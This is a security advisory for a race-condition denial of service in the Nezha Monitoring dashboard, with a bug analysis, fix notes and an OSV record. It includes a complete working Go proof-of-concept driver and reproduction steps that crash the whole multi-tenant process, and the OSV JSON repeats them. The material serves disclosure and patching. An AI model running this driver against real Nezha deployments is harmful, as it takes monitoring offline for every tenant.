CVE-2026-100394: Nezha Monitoring Denial of Service Vulnerability
MODERATE
Advisory Identifier:
GHSA-qjpp-gffx-2wm9
Advisory Summary
CVE-2026-100394 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting Nezha Monitoring libraries in the Go ecosystem. The issue involves whole-instance dos in nezha dashboard: a member can crash the process for every tenant. Remediation is available by upgrading affected packages to version 0.0.0-20260721131105-c893aa57867d.
CVE-2026-100394 at a Glance
CVE Identifier
CVE-2026-100394
GHSA Identifier
GHSA-qjpp-gffx-2wm9
Severity
MODERATE
CVSS v3.1 Base Score
6.5
CWE Classification
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Affected Product
Nezha Monitoring
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
None (C:N)
Integrity
None (I:N)
Availability
High (A:H)
How to Fix CVE-2026-100394
To remediate this vulnerability, upgrade all affected Nezha Monitoring dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/nezhahq/nezha
fixed: 0.0.0-20260721131105-c893aa57867d
Upgrade github.com/nezhahq/nezha to 0.0.0-20260721131105-c893aa57867d
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/nezhahq/nezhaHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-100394, inspect your project dependencies for Nezha Monitoring:
inspect dependencies for github.com/nezhahq/nezhaAnalyze the terminal output to locate any version of Nezha Monitoring in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260721131105-c893aa57867d), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In Nezha Monitoring, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
A single low-privilege `RoleMember` can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at `service/singleton/servicesentinel.go:601`. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified.
## Affected versions
Confirmed in `v2.2.7` through `v2.2.10`. `service/singleton/servicesentinel.go` has the same vulnerable implementation in all four releases. The issue is fixed in `v2.2.11` and later; users should upgrade to the latest release, `v2.3.0`.
## The bug
The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker.
The maps hold pointers, so a missing key returns nil and the first field write through it panics:
```
73: serviceStatusToday map[uint64]*_TodayStatsOfService
74: serviceCurrentStatusData map[uint64]*serviceTaskStatus
```
The worker checks presence via `Get`, which takes `servicesLock` and releases it. `canReportServiceResult` rejects a nil service here, so at this point the service is known to exist:
```
532: cs, _ := ss.Get(r.Data.GetId()) // servicesLock.RLock / RUnlock
535: if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue }
```
For TCP/ICMP ping results, every `AvgPingCount` (default 2, TSDB off) the worker does a synchronous `DB.Create` at `:569` holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a *different* lock and dereferences the maps with no recheck and no lazy create:
```
597: ss.serviceResponseDataStoreLock.Lock()
600: ss.serviceStatusToday[mh.GetId()].Delay = ... // nil deref if deleted meanwhile
609: ss.serviceCurrentStatusData[mh.GetId()].t ... // same hazard
```
Meanwhile `Delete` removes both entries under `serviceResponseDataStoreLock`, running on the HTTP-handler goroutine, a different goroutine from the single worker:
```
378: func (ss *ServiceSentinel) Delete(ids []uint64) {
387: delete(ss.serviceCurrentStatusData, id)
390: delete(ss.serviceStatusToday, id)
```
The precise point: the check reads the `services` map under `servicesLock`; the write touches `serviceStatusToday` under `serviceResponseDataStoreLock`. Holding the second lock at `:600` proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so `-race` reports nothing; the staleness lives across the two locks, not inside one memory location.
Two supporting facts. The ping map a few lines up self-heals on a miss (`:543`), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (`cmd/dashboard/rpc/rpc.go:37`), no recovery, so the worker panic is fatal to the whole process rather than a dropped request.
## Reachability
Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over `POST /api/v1/service` and `POST /api/v1/batch-delete/service`, which pass `CheckPermission` for an owned service. No admin rights, no other tenant involved. `batchDeleteService` reaches `ServiceSentinel.Delete` synchronously on a separate goroutine from the worker, so the two interleave freely.
## Code flow
```
member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing}
-> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...})
-> serviceReportChannel -> single worker goroutine:
Get(id) [servicesLock] present ......+ <- TOCTOU check (:532/:535)
DB.Create(ServiceHistory) (gap) |
| member HTTP: POST /api/v1/batch-delete/service
| -> batchDeleteService (CheckPermission: own OK)
| -> ServiceSentinel.Delete([id]) (synchronous)
| [serviceResponseDataStoreLock] delete(serviceStatusToday,id)
serviceResponseDataStoreLock.Lock() <-+
serviceStatusToday[id].Delay = ... <- id now absent -> nil deref -> SIGSEGV (:600)
```
## Proof of concept
Environment: dashboard built from `fd31e5f1` on go1.26.4, SQLite, bound to `127.0.0.1:8008`, with `avg_ping_count: 2` and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing.
### The driver
Placed at `cmd/pocdos/main.go` inside a checkout of the target repo (so the `github.com/nezhahq/nezha/proto` import resolves), built with `go build ./cmd/pocdos`.
```go
import (
"bytes"
"context"
"crypto/tls"
"flag"
"fmt"
"io"
"log"
"math/rand"
"net/http"
"os"
"sync"
"sync/atomic"
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
"google.golang.org/grpc/metadata"
pb "github.com/nezhahq/nezha/proto"
)
var (
grpcAddr = flag.String("grpc", "127.0.0.1:8008", "")
baseURL = flag.String("url", "http://127.0.0.1:8008", "")
secret = flag.String("secret", "", "m1 agent secret")
uuid = flag.String("uuid", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "")
token = flag.String("token", "", "m1 jwt")
csrf = flag.String("csrf", "", "m1 csrf")
dur = flag.Duration("dur", 90*time.Second, "")
churn = flag.Int("churn", 16, "concurrent create/delete workers")
)
var httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}}
func req(method, path string, body []byte) ([]byte, int) {
r, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body))
r.Header.Set("Content-Type", "application/json")
r.Header.Set("Authorization", "Bearer "+*token)
r.Header.Set("X-CSRF-Token", *csrf)
r.AddCookie(&http.Cookie{Name: "nz-csrf", Value: *csrf})
r.AddCookie(&http.Cookie{Name: "nz-jwt", Value: *token})
resp, err := httpc.Do(r)
if err != nil {
return []byte(err.Error()), 0
}
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
return b, resp.StatusCode
}
func createSvc() (uint64, bool) {
b, _ := req("POST", "/api/v1/service", []byte(`{"name":"p","target":"127.0.0.1:8008","type":3,"cover":0,"duration":30}`))
var id uint64
if n, _ := fmt.Sscanf(string(b), `{"success":true,"data":%d}`, &id); n == 1 {
return id, true
}
return 0, false
}
func deleteSvc(id uint64) {
req("POST", "/api/v1/batch-delete/service", []byte(fmt.Sprintf("[%d]", id)))
}
func main() {
flag.Parse()
rand.Seed(time.Now().UnixNano())
conn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
log.Fatal(err)
}
cli := pb.NewNezhaServiceClient(conn)
authCtx := func(ctx context.Context) context.Context {
return metadata.AppendToOutgoingContext(ctx, "client_uuid", *uuid, "client_secret", *secret)
}
// 1) register a server owned by m1
if _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: "poc", Arch: "poc"}); err != nil {
log.Fatalf("register(ReportSystemInfo2) rejected: %v", err)
}
log.Println("server registered as m1 agent")
// 2) open the RequestTask bidi stream (this agent now holds the task stream)
stream, err := cli.RequestTask(authCtx(context.Background()))
if err != nil {
log.Fatalf("RequestTask open: %v", err)
}
go func() { // drain server->agent Task frames
for {
if _, err := stream.Recv(); err != nil {
return
}
}
}()
// shared set of currently-alive service ids
var mu sync.Mutex
active := map[uint64]struct{}{}
addID := func(id uint64) { mu.Lock(); active[id] = struct{}{}; mu.Unlock() }
delID := func(id uint64) { mu.Lock(); delete(active, id); mu.Unlock() }
snapshot := func() []uint64 {
mu.Lock()
defer mu.Unlock()
out := make([]uint64, 0, len(active))
for id := range active {
out = append(out, id)
}
return out
}
var sent, dels int64
stop := time.After(*dur)
var wg sync.WaitGroup
// churn workers: create -> arm -> delete
for i := 0; i < *churn; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-stop:
return
default:
}
id, ok := createSvc()
if !ok {
time.Sleep(time.Millisecond)
continue
}
addID(id)
// let the flood push a few reports for this id into the worker's gap
time.Sleep(time.Duration(1+rand.Intn(3)) * time.Millisecond)
deleteSvc(id)
delID(id)
atomic.AddInt64(&dels, 1)
}
}()
}
// single flood goroutine (grpc stream Send is not concurrency-safe)
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-stop:
return
default:
}
ids := snapshot()
for _, id := range ids {
if err := stream.Send(&pb.TaskResult{
Id: id,
Type: 3, // TCPPing
Delay: float32(1 + rand.Intn(50)),
Successful: true,
}); err != nil {
fmt.Printf("STREAM_SEND_ERR=%v (dashboard likely crashed)\n", err)
return
}
atomic.AddInt64(&sent, 1)
}
}
}()
// liveness probe: if the dashboard process dies, the API stops answering
go func() {
for {
select {
case <-stop:
return
case <-time.After(500 * time.Millisecond):
_, code := req("GET", "/api/v1/user", nil)
if code == 0 {
fmt.Printf("LIVENESS_FAIL at sent=%d dels=%d, dashboard not answering\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))
os.Exit(7)
}
}
}
}()
wg.Wait()
fmt.Printf("DONE without crash: sent=%d deletes=%d\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))
}
```
The gRPC leg registers a server under the member's own agent secret via `ReportSystemInfo2`, opens `RequestTask`, then floods `TaskResult{Type: 3 (TCPPing)}` for every alive service id from a single goroutine (`stream.Send` is not concurrency-safe). The REST leg's churn workers loop `createSvc` → sleep 1–3 ms to let the flood push repeated reports into the worker's gap → `deleteSvc`, which fires `ServiceSentinel.Delete` and removes the map entry the worker is about to dereference. The liveness probe hits `GET /api/v1/user` every 500 ms and exits 7 on connection refused, which is the crash signal.
### Steps to reproduce
1. In a checkout of nezha at `fd31e5f1`, drop the file at `cmd/pocdos/main.go` and build: `go build -o pocdos ./cmd/pocdos`.
2. Start the dashboard (SQLite, `avg_ping_count: 2`, TSDB off) and complete first-run. Create a `RoleMember`, register a server under its agent secret, and log the member in to obtain its JWT and CSRF.
3. Run with the member's own credentials: `./pocdos -secret "$M1_AGENT_SECRET" -token "$M1_JWT" -csrf "$M1_CSRF" -dur 30s -churn 4`.
### Results
On an unpatched build the driver prints `STREAM_SEND_ERR=EOF` + `LIVENESS_FAIL` + exit 7 within about half a second, and the dashboard's stderr shows the panic:
```
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x12966c8]
github.com/nezhahq/nezha/service/singleton.(*ServiceSentinel).worker(...)
.../service/singleton/servicesentinel.go:601
created by ...NewServiceSentinel in goroutine 1
.../service/singleton/servicesentinel.go:127
```
Process death confirmed right after: `ps -p <pid>` shows the pid gone, `curl http://127.0.0.1:8008/api/v1/` returns `http_code=000`, `ss -ltn | grep 8008` shows no listener.
Under `go build -race` the same run reports zero `WARNING: DATA RACE` and still crashes with the identical nil-deref, which confirms this is a logical cross-lock TOCTOU rather than a memory race. Under a normal build, reproducibility with a fresh database per trial, a 30-second cap, and four churn workers was 5 of 5, mean time-to-crash 0.5s. Each individual window is small, but the driver retries it tens of thousands of times a second and wins by volume, so it is fast and reliable, not a lucky single shot. `-churn 4` was already 5/5; the `16` default is heavier than needed.
## Fix
Fixed in commit `c893aa57867d8a3d608e2f2f16d1594c9766cdf3`, released as `v2.2.11` and `v2.3.0`. The worker now acquires `serviceResponseDataStoreLock` before any report side effect, re-reads the current service and status entries, and re-runs `canReportServiceResult` while the lifecycle lock is held. `Delete` and `Update` therefore serialize with report processing, so reports for deleted services or reports invalidated by an update are discarded before history, status, notification, or TLS side effects.
The fix also clears ping and TLS caches during deletion and makes `LoadStats` follow the lifecycle lock order, preventing stale cache state and an ABBA deadlock window. Deterministic lifecycle tests cover deletion, update revalidation, lock order, and TLS side effects. The full unit suite, race-and-shuffle suite, `go vet`, CodeQL, and release builds passed before publication.
CVE-2026-100394 Affected Nezha Monitoring Versions
1 component(s)
Fixed Versions:
0.0.0-20260721131105-c893aa57867d
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/nezhahq/nezha
|
Go |
≥ 0.0.0-20260628010923-fd31e5f1b0f8
< 0.0.0-20260721131105-c893aa57867d
|
0.0.0-20260721131105-c893aa57867d
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/nezhahq/nezha/security/advisories/GHSA-qjpp-gffx-2wm9
NVD — CVE-2026-100394
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-100394
Security Fix Commit
FIX COMMIT
https://github.com/nezhahq/nezha/commit/c893aa57867d8a3d608e2f2f16d1594c9766cdf3
Nezha Monitoring Source Repository
REPOSITORY
https://github.com/nezhahq/nezha
Nezha Monitoring Release
RELEASE
https://github.com/nezhahq/nezha/releases/tag/v2.2.11
Nezha Monitoring Release
RELEASE
https://github.com/nezhahq/nezha/releases/tag/v2.3.0
Frequently Asked Questions
What is CVE-2026-100394?
CVE-2026-100394 is a security vulnerability in Nezha Monitoring involving Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').
Which Nezha Monitoring versions are affected?
Affected versions include releases prior to 0.0.0-20260721131105-c893aa57867d across affected packages: github.com/nezhahq/nezha.
What version fixes CVE-2026-100394?
Upgrading to 0.0.0-20260721131105-c893aa57867d (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nezhahq/nezha affected?
Yes, github.com/nezhahq/nezha is affected in releases prior to 0.0.0-20260721131105-c893aa57867d. Upgrade your dependency to 0.0.0-20260721131105-c893aa57867d or later.
What is the CVSS score of CVE-2026-100394?
CVE-2026-100394 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-100394?
CVE-2026-100394 is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.).
How can I check Go dependencies for CVE-2026-100394?
Run the dependency tree command: 'inspect dependencies for github.com/nezhahq/nezha'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-qjpp-gffx-2wm9",
"modified" : "2026-10-15T20:15:07Z",
"published" : "2026-10-15T20:15:06Z",
"aliases" : [ "CVE-2026-100394" ],
"summary" : "Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant",
"details" : "## Summary\n\nA single low-privilege `RoleMember` can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at `service/singleton/servicesentinel.go:601`. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified.\n\n## Affected versions\n\nConfirmed in `v2.2.7` through `v2.2.10`. `service/singleton/servicesentinel.go` has the same vulnerable implementation in all four releases. The issue is fixed in `v2.2.11` and later; users should upgrade to the latest release, `v2.3.0`. \n\n## The bug\n\nThe worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker.\n\nThe maps hold pointers, so a missing key returns nil and the first field write through it panics:\n\n```\n73: serviceStatusToday map[uint64]*_TodayStatsOfService\n74: serviceCurrentStatusData map[uint64]*serviceTaskStatus\n```\n\nThe worker checks presence via `Get`, which takes `servicesLock` and releases it. `canReportServiceResult` rejects a nil service here, so at this point the service is known to exist:\n\n```\n532: cs, _ := ss.Get(r.Data.GetId()) // servicesLock.RLock / RUnlock\n535: if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue }\n```\n\nFor TCP/ICMP ping results, every `AvgPingCount` (default 2, TSDB off) the worker does a synchronous `DB.Create` at `:569` holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a *different* lock and dereferences the maps with no recheck and no lazy create:\n\n```\n597: ss.serviceResponseDataStoreLock.Lock()\n600: ss.serviceStatusToday[mh.GetId()].Delay = ... // nil deref if deleted meanwhile\n609: ss.serviceCurrentStatusData[mh.GetId()].t ... // same hazard\n```\n\nMeanwhile `Delete` removes both entries under `serviceResponseDataStoreLock`, running on the HTTP-handler goroutine, a different goroutine from the single worker:\n\n```\n378: func (ss *ServiceSentinel) Delete(ids []uint64) {\n387: delete(ss.serviceCurrentStatusData, id)\n390: delete(ss.serviceStatusToday, id)\n```\n\nThe precise point: the check reads the `services` map under `servicesLock`; the write touches `serviceStatusToday` under `serviceResponseDataStoreLock`. Holding the second lock at `:600` proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so `-race` reports nothing; the staleness lives across the two locks, not inside one memory location.\n\nTwo supporting facts. The ping map a few lines up self-heals on a miss (`:543`), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (`cmd/dashboard/rpc/rpc.go:37`), no recovery, so the worker panic is fatal to the whole process rather than a dropped request.\n\n## Reachability\n\nBoth legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over `POST /api/v1/service` and `POST /api/v1/batch-delete/service`, which pass `CheckPermission` for an owned service. No admin rights, no other tenant involved. `batchDeleteService` reaches `ServiceSentinel.Delete` synchronously on a separate goroutine from the worker, so the two interleave freely.\n\n## Code flow\n\n```\nmember agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing}\n -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...})\n -> serviceReportChannel -> single worker goroutine:\n Get(id) [servicesLock] present ......+ <- TOCTOU check (:532/:535)\n DB.Create(ServiceHistory) (gap) |\n | member HTTP: POST /api/v1/batch-delete/service\n | -> batchDeleteService (CheckPermission: own OK)\n | -> ServiceSentinel.Delete([id]) (synchronous)\n | [serviceResponseDataStoreLock] delete(serviceStatusToday,id)\n serviceResponseDataStoreLock.Lock() <-+\n serviceStatusToday[id].Delay = ... <- id now absent -> nil deref -> SIGSEGV (:600)\n```\n\n## Proof of concept\n\nEnvironment: dashboard built from `fd31e5f1` on go1.26.4, SQLite, bound to `127.0.0.1:8008`, with `avg_ping_count: 2` and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing.\n\n### The driver\n\nPlaced at `cmd/pocdos/main.go` inside a checkout of the target repo (so the `github.com/nezhahq/nezha/proto` import resolves), built with `go build ./cmd/pocdos`.\n\n```go\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"math/rand\"\n\t\"net/http\"\n\t\"os\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/metadata\"\n\n\tpb \"github.com/nezhahq/nezha/proto\"\n)\n\nvar (\n\tgrpcAddr = flag.String(\"grpc\", \"127.0.0.1:8008\", \"\")\n\tbaseURL = flag.String(\"url\", \"http://127.0.0.1:8008\", \"\")\n\tsecret = flag.String(\"secret\", \"\", \"m1 agent secret\")\n\tuuid = flag.String(\"uuid\", \"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\", \"\")\n\ttoken = flag.String(\"token\", \"\", \"m1 jwt\")\n\tcsrf = flag.String(\"csrf\", \"\", \"m1 csrf\")\n\tdur = flag.Duration(\"dur\", 90*time.Second, \"\")\n\tchurn = flag.Int(\"churn\", 16, \"concurrent create/delete workers\")\n)\n\nvar httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}}\n\nfunc req(method, path string, body []byte) ([]byte, int) {\n\tr, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body))\n\tr.Header.Set(\"Content-Type\", \"application/json\")\n\tr.Header.Set(\"Authorization\", \"Bearer \"+*token)\n\tr.Header.Set(\"X-CSRF-Token\", *csrf)\n\tr.AddCookie(&http.Cookie{Name: \"nz-csrf\", Value: *csrf})\n\tr.AddCookie(&http.Cookie{Name: \"nz-jwt\", Value: *token})\n\tresp, err := httpc.Do(r)\n\tif err != nil {\n\t\treturn []byte(err.Error()), 0\n\t}\n\tdefer resp.Body.Close()\n\tb, _ := io.ReadAll(resp.Body)\n\treturn b, resp.StatusCode\n}\n\nfunc createSvc() (uint64, bool) {\n\tb, _ := req(\"POST\", \"/api/v1/service\", []byte(`{\"name\":\"p\",\"target\":\"127.0.0.1:8008\",\"type\":3,\"cover\":0,\"duration\":30}`))\n\tvar id uint64\n\tif n, _ := fmt.Sscanf(string(b), `{\"success\":true,\"data\":%d}`, &id); n == 1 {\n\t\treturn id, true\n\t}\n\treturn 0, false\n}\n\nfunc deleteSvc(id uint64) {\n\treq(\"POST\", \"/api/v1/batch-delete/service\", []byte(fmt.Sprintf(\"[%d]\", id)))\n}\n\nfunc main() {\n\tflag.Parse()\n\trand.Seed(time.Now().UnixNano())\n\n\tconn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials()))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcli := pb.NewNezhaServiceClient(conn)\n\tauthCtx := func(ctx context.Context) context.Context {\n\t\treturn metadata.AppendToOutgoingContext(ctx, \"client_uuid\", *uuid, \"client_secret\", *secret)\n\t}\n\n\t// 1) register a server owned by m1\n\tif _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: \"poc\", Arch: \"poc\"}); err != nil {\n\t\tlog.Fatalf(\"register(ReportSystemInfo2) rejected: %v\", err)\n\t}\n\tlog.Println(\"server registered as m1 agent\")\n\n\t// 2) open the RequestTask bidi stream (this agent now holds the task stream)\n\tstream, err := cli.RequestTask(authCtx(context.Background()))\n\tif err != nil {\n\t\tlog.Fatalf(\"RequestTask open: %v\", err)\n\t}\n\tgo func() { // drain server->agent Task frames\n\t\tfor {\n\t\t\tif _, err := stream.Recv(); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\t// shared set of currently-alive service ids\n\tvar mu sync.Mutex\n\tactive := map[uint64]struct{}{}\n\taddID := func(id uint64) { mu.Lock(); active[id] = struct{}{}; mu.Unlock() }\n\tdelID := func(id uint64) { mu.Lock(); delete(active, id); mu.Unlock() }\n\tsnapshot := func() []uint64 {\n\t\tmu.Lock()\n\t\tdefer mu.Unlock()\n\t\tout := make([]uint64, 0, len(active))\n\t\tfor id := range active {\n\t\t\tout = append(out, id)\n\t\t}\n\t\treturn out\n\t}\n\n\tvar sent, dels int64\n\tstop := time.After(*dur)\n\tvar wg sync.WaitGroup\n\n\t// churn workers: create -> arm -> delete\n\tfor i := 0; i < *churn; i++ {\n\t\twg.Add(1)\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-stop:\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t}\n\t\t\t\tid, ok := createSvc()\n\t\t\t\tif !ok {\n\t\t\t\t\ttime.Sleep(time.Millisecond)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\taddID(id)\n\t\t\t\t// let the flood push a few reports for this id into the worker's gap\n\t\t\t\ttime.Sleep(time.Duration(1+rand.Intn(3)) * time.Millisecond)\n\t\t\t\tdeleteSvc(id)\n\t\t\t\tdelID(id)\n\t\t\t\tatomic.AddInt64(&dels, 1)\n\t\t\t}\n\t\t}()\n\t}\n\n\t// single flood goroutine (grpc stream Send is not concurrency-safe)\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-stop:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t}\n\t\t\tids := snapshot()\n\t\t\tfor _, id := range ids {\n\t\t\t\tif err := stream.Send(&pb.TaskResult{\n\t\t\t\t\tId: id,\n\t\t\t\t\tType: 3, // TCPPing\n\t\t\t\t\tDelay: float32(1 + rand.Intn(50)),\n\t\t\t\t\tSuccessful: true,\n\t\t\t\t}); err != nil {\n\t\t\t\t\tfmt.Printf(\"STREAM_SEND_ERR=%v (dashboard likely crashed)\\n\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tatomic.AddInt64(&sent, 1)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// liveness probe: if the dashboard process dies, the API stops answering\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-stop:\n\t\t\t\treturn\n\t\t\tcase <-time.After(500 * time.Millisecond):\n\t\t\t\t_, code := req(\"GET\", \"/api/v1/user\", nil)\n\t\t\t\tif code == 0 {\n\t\t\t\t\tfmt.Printf(\"LIVENESS_FAIL at sent=%d dels=%d, dashboard not answering\\n\", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))\n\t\t\t\t\tos.Exit(7)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\twg.Wait()\n\tfmt.Printf(\"DONE without crash: sent=%d deletes=%d\\n\", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels))\n}\n```\n\nThe gRPC leg registers a server under the member's own agent secret via `ReportSystemInfo2`, opens `RequestTask`, then floods `TaskResult{Type: 3 (TCPPing)}` for every alive service id from a single goroutine (`stream.Send` is not concurrency-safe). The REST leg's churn workers loop `createSvc` → sleep 1–3 ms to let the flood push repeated reports into the worker's gap → `deleteSvc`, which fires `ServiceSentinel.Delete` and removes the map entry the worker is about to dereference. The liveness probe hits `GET /api/v1/user` every 500 ms and exits 7 on connection refused, which is the crash signal.\n\n### Steps to reproduce\n\n1. In a checkout of nezha at `fd31e5f1`, drop the file at `cmd/pocdos/main.go` and build: `go build -o pocdos ./cmd/pocdos`.\n2. Start the dashboard (SQLite, `avg_ping_count: 2`, TSDB off) and complete first-run. Create a `RoleMember`, register a server under its agent secret, and log the member in to obtain its JWT and CSRF.\n3. Run with the member's own credentials: `./pocdos -secret \"$M1_AGENT_SECRET\" -token \"$M1_JWT\" -csrf \"$M1_CSRF\" -dur 30s -churn 4`.\n\n### Results\n\nOn an unpatched build the driver prints `STREAM_SEND_ERR=EOF` + `LIVENESS_FAIL` + exit 7 within about half a second, and the dashboard's stderr shows the panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x12966c8]\ngithub.com/nezhahq/nezha/service/singleton.(*ServiceSentinel).worker(...)\n .../service/singleton/servicesentinel.go:601\ncreated by ...NewServiceSentinel in goroutine 1\n .../service/singleton/servicesentinel.go:127\n```\n\nProcess death confirmed right after: `ps -p <pid>` shows the pid gone, `curl http://127.0.0.1:8008/api/v1/` returns `http_code=000`, `ss -ltn | grep 8008` shows no listener.\n\nUnder `go build -race` the same run reports zero `WARNING: DATA RACE` and still crashes with the identical nil-deref, which confirms this is a logical cross-lock TOCTOU rather than a memory race. Under a normal build, reproducibility with a fresh database per trial, a 30-second cap, and four churn workers was 5 of 5, mean time-to-crash 0.5s. Each individual window is small, but the driver retries it tens of thousands of times a second and wins by volume, so it is fast and reliable, not a lucky single shot. `-churn 4` was already 5/5; the `16` default is heavier than 